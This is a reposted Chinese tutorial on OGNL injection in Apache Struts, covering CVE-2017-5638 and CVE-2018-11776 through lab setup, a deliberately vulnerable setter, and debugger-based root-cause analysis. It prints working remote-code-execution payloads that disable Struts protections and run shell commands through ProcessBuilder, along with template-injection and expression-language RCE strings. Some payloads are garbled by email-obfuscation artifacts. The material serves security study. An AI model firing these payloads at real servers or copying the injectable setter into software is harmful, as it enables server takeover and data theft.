转载

Apache Struts OGNL注入漏洞原理与示例

概述

通过本篇文章,我们主要了解如何在Apache Struts中实现OGNL注入。我们将举例阐述Struts中的两个关键漏洞: CVE-2017-5638 (Equifax信息泄露)和 CVE-2018-11776 。

Apache Struts是一个免费的开源框架,用于创建现代的Java Web应用程序。Apache Struts中有许多严重的漏洞,它的一个特性是支持OGNL(对象图导航语言),这也是许多漏洞的主要原因。

其中的一个漏洞(CVE-2017-5638)直接导致了2017年的 Equifax信息泄露 ,暴露了超过1.45亿美国公民的个人信息。尽管该公司的年收入超过30亿美元,但他们仍然没有逃过Apache Struts MVC框架的一个已知漏洞攻击。

本文主要介绍了Apache Struts,然后将指导我们如何修改一个简单的应用程序,使用OGNL并实现漏洞利用。接下来,我们将深入研究该平台上的一些公开漏洞利用方式,并尝试利用OGNL注入漏洞。

尽管Java开发人员熟悉Apache Struts,但安全社区往往并不尽然,这也就是我们撰写本文的原因。

入门

运行易受攻击的Struts应用程序需要安装Apache Tomcat Web服务器。该软件包的最新版本可以在 此处 下载(ZIP压缩包)。将二进制文件解压缩到您选择的位置(我们使用/var/tomcat)并继续:

cd /var/tomcat/bin # 转到解压缩的文件夹
chmod +x *.sh      # 将脚本设置为可执行文件
./startup.sh       # 运行启动脚本

我们访问http://localhost:8080/,并检查该站点是否在运行。

确认无误后,我们准备下载旧版本的Apache Struts框架,该框架容易受到我们即将演示的漏洞攻击。该 页面 提供符合我们需求的2.3.30版本Struts。

在提取压缩的内容后,我们应该在/apps位置下看到struts2-showcase.war文件。这是一个使用Struts编译并准备部署的演示应用程序。只需要将WAR文件复制到/var/tomcat/webapps,并访问http://localhost:8080/struts2-showcase/showcase.action确认其是否有效。

Web服务器基础知识

如果您已经很好的掌握了与Java Web应用程序相关的简单概念(例如Servlet),那么您就已经领先了。如果您对 Java Servlet 一无所知,可以将其简单地理解为组件,其目的是创建用于在Web服务器上托管Web应用程序的Web容器,此外它还负责处理对/struts2-showcase等Java应用程序的请求。

要处理Servlet,Web服务器(例如Apache Tomcat)需要一些组件:

1. Apache Coyote 是支持HTTP/1.1协议的连接器。它允许与Servlet容器组件Apache Catalina进行通信。

2. Apache Catalina 容器时确定在Tomcat接收HTTP请求时需要调用哪些Servlet的容器。它还将HTTP请求和响应从文本转换为Servlet使用的Java对象。

Apache Struts OGNL注入漏洞原理与示例

您可以在 这里 找到有关Java Servlet规范的所有详细信息(最新版本为4.0)。

Apache Struts基础知识

与Java Web应用程序一样,使用Apache Struts框架的应用程序可以具有多个Servlet。本文的主要目的不是让大家理解这个构建Web应用程序的框架,只是从表面上弄懂基本概念。我们可以通过 分步教程 来对该主题有所了解。

Apache Struts框架依赖于MVC( 模型-视图-控制器 )架构模式。它对应用程序非常有帮助,因为可以分离主要的 应用程序组件 :

1. 模型(Model):表示应用程序数据,例如使用“订单”等数据的类。

2. 视图(View):是应用程序的输出,可视部分。

3. 控制器(Controller):接收用户输入,使用模型生成视图。

4. 动作(Actions):Apache Struts中的模型。

5. 拦截器(Interceptors):控制器的一部分,它们是可以在处理请求之前或之后调用的钩子。

6. 值栈/OGNL:一组对象,例如模型或动作对象。

7. 结果/结果类型:用于选择业务逻辑后的视图。

8. 视图技术:处理数据的显示方式。

大家可以在下面看到Apache Struts Web应用程序的 一般体系结构 :

Apache Struts OGNL注入漏洞原理与示例

控制器接收HTTP请求,FilterDispatcher负责根据请求调用正确的操作。然后执行该操作,视图组件准备结果并将其发送给HTTP响应中的用户。

Struts应用程序示例

要从头开始编写Struts应用程序需要一些时间,所以我们将使用一个已经可用的rest-showcase演示应用程序,这是一个带有基本前端的简单 REST API 。要编译应用程序,我们只需要进入其目录,并使用 Maven 编译:

cd struts-2.3.30/src/apps/rest-showcase/
mvn package

在目标目录中,我们可以找到以下文件:struts2-rest-showcase.war。您可以通过将其复制到Tomcat服务器的webapps目录(例如:/var/tomcat/webapps)来安装。

下面是该应用的源代码:

Apache Struts OGNL注入漏洞原理与示例

以下是可用文件的说明:

1. Order.java是模型,它是一个存储订单信息的Java类。

public class Order {
String id;
  String clientName;
  int amount;
  …
}

2. OrdersService.java是一个Helper类,它将Orders存储在HashMap总,并对其进行管理。

public class OrdersService {
private static Map<String,Order> orders = new HashMap<String,Order>();
  …
}

3. IndexController.java和OrderController.java是Struts应用程序的控制器或动作。

4. 我们还可以看到代表视图的多个JSP文件。

5. 以及例如web.xml和struts.xml的配置文件。

服务器端模板和注入

JSP 通过将静态HTML与在服务器上执行的动态代码混合,可以生成动态HTML代码。与PHP类似,可以混合使用Java和HTML代码。下面是一个 示例 :

<li><p><b>First Name:</b>
  <%= request.getParameter("first_name")%>
</p></li>
<li><p><b>Last  Name:</b>
  <%= request.getParameter("last_name")%>
</p></li>

如上面的代码片段所示,我们可以将请求对象与HTML代码一起使用,并调用getParameter函数,该函数返回参数first_name和last_name的值。

要遵循MVC设计模式并避免视图(JSP)和模型/控制器(Java)之间的复杂混合,可以在JSP文件中使用 表达式语言 。这是一种特殊的编程语言,使视图能够与Java应用程序通信:

<jsp:text>
  Box Perimeter is: ${2*box.width + 2*box.height}
</jsp:text>

该功能也称为服务器端模板,因为它允许在服务器上创建HTML模板,以便轻松管理HTML和Java代码组合。可以使用多个服务器端模板引擎,例如FreeMaker、Velocity或Thymeleaf。

此时,我们不仅在后端使用Java,而且还通过模板引擎使用一些特殊的编程语言,这可能是 服务器端模板注入 漏洞的正确基础。

与其他漏洞一样,当模板引擎解析或解释用户提供的数据时,会出现问题。由于它们的实用性在于它们提供的许多功能,因此模板引擎通常包括调用函数的方法,这为执行操作系统命令打开了大门。

使用FreeMaker模板引擎检查该示例:

<head>
<title>${title}</title>
</head>
…
<#if animals.python.price == 0>
Pythons are free today!
</#if>

在上面的代码中,如果满足条件,则会生成动态生成的标题和消息。

攻击者可以打印动态内容,该内容可能是敏感信息,例如应用程序配置数据。此外,如果模板引擎允许,攻击者可以执行操作系统命令。具体来说,是通过滥用模板引擎的功能。下面是FreeMaker的示例:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

表达式语言注入

表达式语言用于创建服务器端模板,因此它也快可以被视为是服务器端模板引擎。但由于它也满足其他目的,因此其中的漏洞并非严格意义上的注入类型。下面有一些 示例 :

${customer.address["street"]}
${mySuit == "hearts"}
${customer.age + 20}
#{customer.age}
${requestScope[’javax.servlet.forward.servlet_path’]}

用户可能能够执行用户提供的表达式语言代码,因此这意味着应用程序可能容易受到表达式语言注入的攻击。正如 这篇文章 所解释的,因为使用了${EL}语法,所以很容易找到表达式语言的缺陷。例如,一个简单的数学运算,例如${9999+1}将被评估为10000,这可能会在响应中可见。

即使这对于攻击者来说不是很有用,也可以使用表达式语言的默认范围来检索实用的信息,例如${applicationScope}或${requestScope}。

进一步 来说,表达式语言注入可以允许会话对象修改,并将用户的权限提升到管理员级别:

${pageContext.request.getSession().setAttribute("admin",true)}

最后,甚至可能使用以下方法获取远程代码执行:

${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}

通过拒绝用户提供的表达式语言解析函数输入,保持所有依赖关系更新,甚至通过正确转义用户输入中的#{和${,可以防止此类漏洞。

对象图导航语言注入

对象图导航语言( OGNL )是一种用于Java的开源表达式语言。OGNL的 主要功能 是获取和设置对象属性。在Java中可以做的大部分工作都可以在OGNL中实现。

如果我们要处理订单,如下所示:

public class Order {
String id;
String clientName;
int amount;
… }

可以在JSP文件中直接访问订单属性,如下所示:

<!DOCTYPE html>
<%@taglib prefix="s" uri="/struts-tags" %>
...
<s:form method="post" action=`**`%{#request.contextPath}/orders/%{id}`**` cssClass="form-horizontal" theme="simple">
<s:hidden name="_method" value="put" />`
 
ID
`<s:textfield id=`**`"id"`**` name="id" disabled="true" cssClass="form-control"/>`
 
Client
`<s:textfield id=`**`"clientName"`**` name="clientName" cssClass="form-control"/>`
 
Amount
`<s:textfield id=`**`"amount"`**` name="amount" cssClass="form-control" />
<s:submit cssClass="btn btn-primary"/>
</s:form>

使用%{code}和${code}来评估OGNL表达式。正如其 文档 中所述,OGNL允许以下内容:

1. 访问name或headline.text等属性。

2. 调用toCharArray()等方法。

3. 从数组中访问元素,例如listeners[0]。

4. 甚至可以将它们组合起来:name.toCharArray()[0].numericValue.toString()。

也可以使用变量(#var = 99),创建数组(new int[] { 1, 2, 3 })或映射(#@[email protected]{ "foo" : "foo value", "bar" : "bar value" }),甚至访问静态字段(@[email protected]或调用静态方法:@[email protected](args))。

OGNL是一种功能强大的语言,但在Apache Struts中将用户提供的输入作为OGNL会影响其安全性。我们举一个简单的例子,在rest-showcase应用程序中引入一个漏洞。

我们的所有Order属性都有getter和setter,例如:

public String getClientName() {
return clientName;
}
public void setClientName(String clientName) {
this.clientName = clientName;
}

通过导入三个额外的包,并调用TextParseUtil.translateVariables方法,可以修改setter使其易受OGNL注入攻击,然后将对其进行评估。在我们的示例中,修改检查clientName参数中的值。

import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.util.TextParseUtil;
import com.opensymphony.xwork2.util.reflection.ReflectionContextState;
…
public void setClientName(String clientName) {
ReflectionContextState.`**`setDenyMethodExecution`**`(ActionContext.getContext().getContextMap(), false);`
 
`this.clientName = `**`TextParseUtil.translateVariables`**`(clientName, ActionContext.getContext().getValueStack());

translateVariables方法的代码如下:

TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);
return `**parser.evaluate**`(openChars, expression, ognlEval, maxLoopCount);

这将评估OGNL表达式(OgnlTextParser.java)。

接下来,我们可以重新编译应用程序,启动并尝试利用clientName参数中的漏洞。最简单的测试方法,是使用简单的数学运算,例如%{999+1}。

Apache Struts OGNL注入漏洞原理与示例

在修改顺序之后,客户端名称将被解析为OGNL,这一点可以通过成功执行数学运算来确认。

Apache Struts OGNL注入漏洞原理与示例

既然我们知道参数是易受攻击的,我们可以在测试中使用它。需要注意的一点是,在调用translateVariables函数之前,我们调用setDenyMethodExecution。这是必要的,因为在设置参数值时,方法的执行将被拒绝,这是一种保护措施,因此我们将无法执行任何方法。

如果在漏洞利用阶段,遇到类似位置的漏洞,可以在任何方法调用之前直接从Payload启用方法执行:

(#context['xwork.MethodAccessor.denyMethodExecution']=false)

感谢mmolgtm指出这一点。

调试Java应用程序

在IDE的内置调试器中运行Java应用程序,可以提高对应用程序和漏洞的理解,因为它提供了漏洞利用工作原理的清晰、渐进的视图。

在调试易受攻击的应用程序的过程中,可以在代码的任何位置设置断点,并且能够检查并修改所有变量。

使用旧的Java应用程序(例如:Struts 2.3.30)可能需要更改某些设置,以允许在调试器中编译和运行它。下面是一些建议:

1. 转到 Run > Debug > Edit Configuration(运行 – 调试 – 编辑配置)。

2. 单击 + ,并选择Maven。

3. 通过选择Maven项目来指定工作目录,例如rest-showcase。

4. 指定以下命令行:jetty:run -f pom.xml(Jetty是Web服务器)。

现在,可以轻松地在setClientName方法上设置断点,在http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml上打开浏览器,为其中一个订单选择编辑,然后点击提交编辑订单。这应该触发对setClientName的调用,并到达断点。

Apache Struts OGNL注入漏洞原理与示例

CVE-2017-5638根本原因

CVE-2017-5638是Struts中最受关注的漏洞,主要是因为该漏洞在Equifax数据泄露事件中被利用。安全社区认真研究了这一漏洞,这里是其中的 两个 例子 。

Exploit-DB上 提供了一个漏洞利用方式,我们可以从这里下载并运行。

python CVE-2017-5638.py http://localhost:8080/struts2-showcase/showcase.action "touch /tmp/pwned"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: touch /tmp/pwned

其结果应该是在/tmp/pwned位置创建文件:

Apache Struts OGNL注入漏洞原理与示例

CVE-2017-5638的问题在于,要利用这一漏洞,不需要框架和应用程序做任何事情,这也是最糟糕的一种情况。

调试器是了解漏洞根本原因的最快方式。使用调试器,在translateVariables方法上放置一个断点,该方法会被漏洞利用来进行调用。

python CVE-5638.py http://127.0.0.1:8080/struts2-rest-showcase/ 'ls -la /'

这样一来,我们就可以查看完整的栈跟踪,包括所需的所有数据。其结果如下:

Apache Struts OGNL注入漏洞原理与示例

如果我们查看栈,可以清楚地了解到正在发生的事情。

1. 在doFilter(…)方法中处理请求,该方法调用prepare.wrapRequest(request);方法。

2. wrapRequest调用dispatcher.wrapRequest(request);。

3. 在这种方法中,我们可以找到一些值得关注的地方:

String content_type = request.getContentType(); if (content_type != null && content_type.contains("multipart/form-data")) { …
 
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);`
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}

如果请求的Content-Type标头包含multipart/form-data字符串,那么框架将使用MultiPartRequestWrapper类。

1. 接下来,解析请求multi.parse(request, saveDir);

2. 该方法尝试解析请求,但在发现Content-Type无效时会抛出异常:

if ((null == contentType) || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) { throw new InvalidContentTypeException( format("the request doesn't contain a %s or %s stream, content type header is %s", MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));

1. 这个异常会导致对buildErrorMessage的调用,将执行以下方法:LocalizedTextUtil.findText (this.getClass(), errorKey, defaultLocale, e.getMessage(), args);。其中,e.getMessage()是包含漏洞利用的错误消息。

2. 这导致调用返回findText(aClass, aTextName, locale, defaultMessage, args, valueStack);。

3. 然后调用result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);。

4. 接下来,调用将会执行异常:MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);。

5. translateVariables方法将执行异常:请求不包含multipart/form-data或multipart/mixed流,内容类型标头为%{(#_=’multipart/form-data’)。#[email protected]@DEFAULT_MEMBER_ACCESS

总的来说,该漏洞的利用方法非常简单,带有OGNL表达式的无效Content-Type标头会触发CVE-2017-5638。由于某种原因,带有OGNL表达式的异常消息被解析。

CVE-2018-11776根本原因

要利用此漏洞,我们需要2.5.16版本的Struts,这里可以下载到ZIP格式版本。如这里所述,在自定义配置中可以成功利用:

1. 转到struts-2.5.16目录:cd struts-2.5.16/

2. 搜索struts-actionchaining.xml文件:find . -name struts-actionchaining.xml

3. 编辑XML文件,例如./src/apps/showcase/src/main/resources/struts-actionchaining.xml

4. 修改<struts>标记,使其具有如下值:

<struts>
       <package name="actionchaining" extends="struts-default">
       <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
              <result type="redirectAction">
                     <param name = "actionName">register2</param>
              </result>
       </action>
       </package>
</struts>

这允许我们使用struts2-showcase应用程序作为目标。编译它需要如下步骤:

1. cd src/apps/showcase/ # 转到Showcase目录

2. mvn package -DskipTests=true # 对其进行编译

3. cp target/struts2-showcase.war /var/tomcat/webapps/ # 复制到Tomcat

现在,我们可以通过在Web浏览器中加载以下内容,来检查应用程序是否易受攻击:

http://127.0.0.1:8080/struts2-showcase/**${22+22}**/actionChain1.action

我们应该重定向到 http://127.0.0.1:8080/struts2-showcase/44/register2.action 。

这里提供了一个包含大量技术实现细节的可用漏洞利用方式。为了利用此漏洞,我们使用以C语言编写的漏洞。

我们需要使用URL中编码的以下Payload发送两个请求:

${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="d1b2bebcffbea1b4bfa2a8bca1b9bebfa8ffa9a6bea3bae3ffbeb6bfbdff9eb6bfbd84a5b8bd91b2bdb0a2a2">[email protected]</a>)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}
${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#<a href="/cdn-cgi/l/email-protection" data-cfemail="31555c0c715e565f5d1f7e565f5d725e5f45544945">[email protected]</a>@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm)).(#<a href="/cdn-cgi/l/email-protection" data-cfemail="b9cad584f9d3d8cfd897d0d697ffd0d5dc">[email protected]</a>@separator).(#p=new java.lang.ProcessBuilder({'bash','-c',**'xcalc'**})).(#p.start())}

漏洞利用如下:

http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.setExcludedClasses%28%27%27%29%29.%28%23ognlUtil.setExcludedPackageNames%28%27%27%29%29%7D/actionChain1.action
http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23context.setMemberAccess%28%23dm%29%29.%28%23sl%3D%40java.io.File%40separator%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%7B%27bash%27%2C%27-c%27%2C%27xcalc%27%7D%29%29.%28%23p.start%28%29%29%7D/actionChain1.action

最终,弹出计算机应用程序,这也是预期的结果:

Apache Struts OGNL注入漏洞原理与示例

查看调试器中的Payload,有助于理解其工作原理。请注意,/struts2-showcase/${2+4}/actionChain1.action字符串中的${2+4}在Struts中称为命名空间,actionChain1是动作。

1. 调用execute(ActionInvocation invocation)方法具有以下效果:

if (namespace == null) {
       namespace = invocation.getProxy().getNamespace(); // namespace is “/${2+4}”
}
…
String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
setLocation(tmpLocation); // tmpLocation is “/${2+4}/register2.action”
super.execute(invocation);

2. execute方法同样调用了super.execute(invocation);

3. 然后调用此方法:

/**
Implementation of the `execute` method from the `Result` interface. This will call the abstract method
{@link #doExecute(String, ActionInvocation)} after optionally evaluating the location as an OGNL evaluation
/*
 
public void execute(ActionInvocation invocation) throws Exception {
       lastFinalLocation = conditionalParse(location, invocation);
       doExecute(lastFinalLocation, invocation);
}

4. conditionalParse方法解析OGNL表达式的参数(在第一步中使用setLocation方法之前设置的位置):

/**
Parses the parameter for OGNL expressions against the valuestack
…
*/
 
protected String conditionalParse(String param, ActionInvocation invocation) {
       if (parse && param != null && invocation != null) {
              return TextParseUtil.translateVariables(
                     param,
                     invocation.getStack(),
                     new EncodingParsedValueEvaluator());

其结果是可以执行任意OGNL变道时。关于这个问题的更多细节位于这里。其要点是,当使用动作链时,来自用户的命名空间将被解析为OGNL。

了解OGNL注入Payload

如果你想知道为什么公开的漏洞利用不是类似于%{@[email protected]().exec('command')}这样的,实际上有两个原因。一个是由于Struts维护团队实现的保护机制,另一个涉及到功能(读取命令的输出,或使其跨平台)。

该 页面 提供了有用的详细信息,下面是其简短的摘要:

1. SecurityMemberAccess类在Payload执行期间,可以作为_memberAccess,决定OGNL可以执行的操作,但可以选择使用条件更加宽松的DefaultMemberAccess类。

2. 另一个保护措施是将类和包名称列入黑名单。

3. 另外一种不同的缓解措施,可能是对静态方法的限制,这可以通过_memberAccess 类的allowStaticMethodAccess字段实现。

CVE-2017-5638和CVE-2018-11776 Payload:

(#_='multipart/form-data').
(#<a href="/cdn-cgi/l/email-protection" data-cfemail="80e4edbdc0efe7eeecaecfe7eeecc3efeef4e5f8f4">[email protected]</a>@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#context['xwork.MethodAccessor.denyMethodExecution']=false).
(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="c5a6aaa8ebaab5a0abb6bca8b5adaaabbcebbdb2aab7aef7ebaaa2aba9eb8aa2aba990b1aca985a6a9a4b6b6">[email protected]</a>)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='/usr/bin/touch /tmp/pwned').(#<a href="/cdn-cgi/l/email-protection" data-cfemail="2c455f5b4542116c464d5a4d02404d424b027f555f584941">[email protected]</a>@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@<a href="/cdn-cgi/l/email-protection" data-cfemail="0d627f6a236c7d6c6e6568237e797f78797e3f235e687f7b6168794c6e796462634e6263796875794d6a68795f687e7d62637e68">[email protected]</a>().getOutputStream())).
(@<a href="/cdn-cgi/l/email-protection" data-cfemail="dab5a8bdf4bbaabbb9b2bff4b9b5b7b7b5b4a9f4b3b5f493958faeb3b6a99ab9b5aaa3">[email protected]</a>(#process.getInputStream(),#ros)).(#ros.flush())

1. #_=’multipart/form-data’ – 需要一个随机变量,因为我们的Payload中需要multipart/form-data字符串才能触发漏洞

2. #[email protected]@DEFAULT_MEMBER_ACCESS – 使用DefaultMemberAccess(比SecurityMemberAccess的条件更加宽松)的值创建dm变量

3. #_memberAccess?(#_memberAccess=#dm) – 如果_memberAccess类存在,我们将其替换为dm变量的DefaultMemberAccess

4. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 从上下文中获取容器,将在后面需要用到

5. #ognlUtil=#container.getInstance(@[email protected]) – 使用它来获取OgnlUtil类的实例(我们无法直接执行,因为它被列入了黑名单之中,完整的列表位于./src/core/src/main/resources/struts-default.xml)

6. #ognlUtil.getExcludedPackageNames().clear() – 清除不包含的包名称

7. #ognlUtil.getExcludedClasses().clear() – 清除不包含的类

8. #context.setMemberAccess(#dm) – 将DefaultMemberAccess设置为当前上下文

9. #cmd=’/usr/bin/touch /tmp/pwned’ – 定义我们想要执行的命令

10. #iswin=(@[email protected](‘os.name’).toLowerCase().contains(‘win’)) – 如果应用程序在Windows上运行,则保存在变量中(跨平台漏洞)

11. #cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd}) – 指定如何根据操作系统执行命令(cmd.exe或bash)

12. #p=new java.lang.ProcessBuilder(#cmds) – 使用ProcessBuilder类来运行命令(参数)

13. #p.redirectErrorStream(true) – 查看命令的错误输出,可能也会有帮助

14. #process=#p.start() – 执行命令

15. #ros=(@[email protected]().getOutputStream()) – 获取响应的输出流,将数据发送回用户

16. @[email protected](#process.getInputStream(),#ros) – 获取执行命令的输出

17. #ros.flush() – 刷新,确保我们发送所有数据。

对CVE-2018-11776的漏洞利用有一些不同之处:

1. #_=#attr[‘struts.valueStack’] – 使用attr获取ValueStack

2. #context=#_.getContext() – 获取上下文

3. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 获取容器

4. #ognlUtil=#container.getInstance(@[email protected]) – 获取对OgnlUtil类的引用

5. #ognlUtil.setExcludedClasses(‘’) – 清除不包含的类

6. #ognlUtil.setExcludedPackageNames(‘’) – 清除不包含的包名称

7. #[email protected]@DEFAULT_MEMBER_ACCESS – 使用值DefaultMemberAccess定义变量dm

8. #context.setMemberAccess(#dm) – 设置DefaultMemberAccess而不是SecurityMemberAccess

9. #[email protected]@separator – 未使用

10. #p=new java.lang.ProcessBuilder({‘bash’,’-c’,’xcalc’}) – 使用命令(xcalc)声明ProcessBuilder

11. #p.start() – 执行命令

总结

尽管Apache Struts是一个众所周知且广泛使用的框架,但由于缺乏公开的安全研究,使其仍然可能成为一个简单的目标。有关该主题的公开研究知识,可以在 LGTM博客 中获得。

OGNL注入漏洞影响Apache Struts的多个版本,并且是通过滥用代码中的现有功能,来实现远程执行代码的一个良好示例。

漏洞利用一开始可能看起来很困难,但实际上并非如此,调试器总是非常有帮助。熟悉Java可能对安全研究者来说非常困难,但最终会变成一个优势。

在所有新研究中,耐心是最有价值的品质。我们的建议是,当事情变得困难时,不要轻易放弃。并且善于提出问题,安全社区总是一个最有帮助的地方。

原文  http://4hou.win/wordpress/?p=30551
正文到此结束
Loading...